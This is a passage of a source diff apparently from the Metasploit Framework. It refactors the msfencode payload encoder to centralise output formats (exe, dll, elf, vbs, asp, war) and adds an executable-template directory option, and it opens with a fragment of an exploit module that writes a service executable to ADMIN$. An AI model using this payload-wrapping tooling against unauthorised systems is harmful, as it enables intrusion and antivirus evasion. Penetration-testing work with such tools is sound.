+ if (datastore['PAYLOAD'].include? 'x64')
+ opts.merge!({ :arch => ARCH_X64 })
+ end
+ exe = generate_payload_exe_service(opts)
+
+ fd << exe
fd.close
+
print_status("Created \\#{filename}...")
# Disconnect from the ADMIN$
diff --git a/msfencode b/msfencode
index 550f92eac6..622141a65f 100755
--- a/msfencode
+++ b/msfencode
@@ -19,22 +19,32 @@ require 'msf/base'
OutStatus = "[*] "
OutError = "[-] "
+# Load supported formats
+supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
+
$args = Rex::Parser::Arguments.new(
+ "-h" => [ false, "Help banner" ],
+ "-l" => [ false, "List available encoders" ],
+ # input/output
"-i" => [ true, "Encode the contents of the supplied file path" ],
"-m" => [ true, "Specifies an additional module search path" ],
+ "-o" => [ true, "The output file" ],
+ # architecture/platform
"-a" => [ true, "The architecture to encode as" ],
"-p" => [ true, "The platform to encode for" ],
- "-t" => [ true, "The format to display the encoded buffer with (c, dll, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)" ],
+ # format options
+ "-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
+ # encoder options
+ "-e" => [ true, "The encoder to use" ],
+ "-n" => [ false, "Dump encoder information" ],
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-s" => [ true, "The maximum size of the encoded data" ],
- "-e" => [ true, "The encoder to use" ],
- "-o" => [ true, "The output file" ],
"-c" => [ true, "The number of times to encode the data" ],
- "-n" => [ false, "Dump encoder information" ],
- "-h" => [ false, "Help banner" ],
- "-x" => [ true, "Specify an alternate win32 executable template" ],
- "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ],
- "-l" => [ false, "List available encoders" ])
+ # EXE generation options
+ "-d" => [ true, "Specify the directory in which to look for EXE templates" ],
+ "-x" => [ true, "Specify an alternate executable template" ],
+ "-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ]
+)
#
# Dump the list of encoders
@@ -109,9 +119,11 @@ options = ''
delim = '_|_'
output = nil
ecount = 1
+plat = nil
+
altexe = nil
inject = false
-plat = nil
+exedir = nil # use default
# Parse the argument and rock that shit.
$args.parse(ARGV) { |opt, idx, val|
@@ -140,7 +152,7 @@ $args.parse(ARGV) { |opt, idx, val|
when "-s"
space = val.to_i
when "-t"
- if (val =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|dll|exe|exe-small|elf|vba|vbs|loop-vbs|asp|war|macho)$/)
+ if supported_formats.include?(val)
fmt = val
else
$stderr.puts(OutError + "Invalid format: #{val}")
@@ -150,10 +162,14 @@ $args.parse(ARGV) { |opt, idx, val|
$output = val
when "-e"
encoder = val
+
+ when "-d"
+ exedir = val
when "-x"
altexe = val
when "-k"
inject = true
+
when "-h"
usage
else
@@ -175,6 +191,11 @@ if inject and not altexe
$stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies."
exit(1)
end
+exeopts = {
+ :inject => inject,
+ :template => altexe,
+ :template_path => exedir
+}
# Initialize the simplified framework instance.
$framework = Msf::Simple::Framework.create(
@@ -229,61 +250,19 @@ case cmd
next if skip
- case fmt
- when 'dll'
- dll = nil
- dll = Msf::Util::EXE.to_win32pe_dll($framework, raw)
+ output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts)
- write_encoded(dll)
- when 'exe'
- exe = nil
- if(not arch or (arch.index(ARCH_X86)))
- exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
- end
-
- if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
- exe = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe})
- end
-
- write_encoded(exe)
- when 'exe-small'
- exe = nil
- if(not arch or (arch.index(ARCH_X86)))
- exe = Msf::Util::EXE.to_win32pe_old($framework, raw)
- end
-
- write_encoded(exe)
- when 'elf'
- elf = Msf::Util::EXE.to_linux_x86_elf($framework, raw)
- write_encoded(elf)
- when 'macho'
- macho = Msf::Util::EXE.to_osx_x86_macho($framework, raw)
- write_encoded(macho)
- when 'vba'
- exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
- vba = Msf::Util::EXE.to_exe_vba(exe)
- write_encoded(vba)
- when 'vbs'
- vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe})
- write_encoded(vbs)
- when 'loop-vbs'
- vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe})
- write_encoded(vbs)
- when 'asp'
- asp = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe})
- write_encoded(asp)
- when 'war'
- arch ||= [ ARCH_X86 ]
- tmp_plat = plat.platforms if plat
- tmp_plat ||= Msf::Module::PlatformList.transform('win')
- exe = Msf::Util::EXE.to_executable($framework, arch, tmp_plat, raw, { :insert => inject, :template => altexe })
- war = Msf::Util::EXE.to_jsp_war(exe, { :persist => false })
- write_encoded(war)
- else
+ if not output
fmt ||= "ruby"
- write_encoded(Msf::Simple::Buffer.transform(raw, fmt))
+ output = Msf::Simple::Buffer.transform(raw, fmt)
end
+ if exeopts[:fellback]
+ $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
+ end
+
+ write_encoded(output)
+
exit
rescue => e